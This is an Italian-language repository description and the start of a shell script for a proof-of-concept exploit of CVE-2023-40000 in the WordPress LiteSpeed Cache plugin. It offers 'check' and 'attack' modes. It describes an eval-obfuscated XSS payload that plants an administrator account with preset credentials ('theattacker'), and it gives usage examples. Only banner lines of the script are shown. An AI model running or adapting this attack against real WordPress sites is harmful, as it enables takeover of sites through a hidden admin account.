iveresk/cve-2023-40000Proof-of-concept exploit per CVE-2023-40000 che colpisce il plugin WordPress LiteSpeed Cache nelle versioni < 5.7.0.1. Supporta le modalità check e attack, con payload XSS che crea un utente amministratore.
Questa è una PoC di cve-2023-40000. Exploit di Wordpress LiteSpeed Cache.
La CVE può essere applicata a tutte le versioni di LiteSpeed Cache < 5.7.0.1.
Funziona in due modalità: check e attack.
Le IP vulnerabili verrebbero sottoposte a grep per la versione. Se non c'è versione (il target è coperto da WAF).
Il codice XSS è criptato per la funzione eval con login/pass/email predefiniti.
# user_login=theattacker
# [email protected]
# pass1=attackpass&pass2=attackpass
# role=administrator
echo "----------------Welcome-to-cve-2023-40000-script-by-1veresk------------+";
echo "+----------------------------------------------------------------------+";
echo "+-------------------For-The-Help---------------------------------------+";
echo "Example#1: ./cve-2023-40000.sh -h--------------------------------------+";
echo "+-------------------For-The--Check-------------------------------------+";
echo "Example#2: ./cve-2023-40000.sh <TARGET_FILE> <MODE>--------------------+";
echo "+----------------------------------------------------------------------+";